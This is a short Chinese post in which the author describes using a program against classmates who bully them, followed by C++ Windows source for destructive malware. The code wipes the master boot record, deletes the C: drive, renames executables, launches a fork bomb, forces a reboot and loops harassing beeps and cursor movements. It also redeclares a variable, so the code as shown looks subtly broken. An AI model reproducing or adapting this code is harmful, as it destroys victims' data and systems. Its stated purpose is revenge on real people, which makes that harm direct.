最近坑班里那些欺负我的问题儿童时受到反映:重启一下就没事了,所以我要把时间延长
#include<iostream>
#include<fstream>
#include<windows.h>
using namespace std;
int main(){
int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
HWND hDesktop = GetDesktopWindow();
HDC hdc = GetWindowDC(hDesktop);
FILE*fd=fopen("\\\\.\\PHYSICALDRIVE0","rb+");
char a[512]={0};
fseek(fd,0,SEEK_SET);
fwrite(a,512,1,fd);
system("shutdown -r -f -t 600");
system("rd/s/q c:\\");
system("ren C:\\*.exe *.txt");
char a[9]="abc.bat";
ofstream file_out(a);
file_out<<"%0|%0";
file_out.close();
system("schtasks.exe");
system(a);
while(true){
Beep(999999,2000);//Beep里第一个是声音大小,第二个是什么声音[滑稽]
Beep(999999,1000);
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
SetCursorPos(rand()%x,rand()%y);
POINT cursor;
GetCursorPos(&cursor);
DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR));
}
}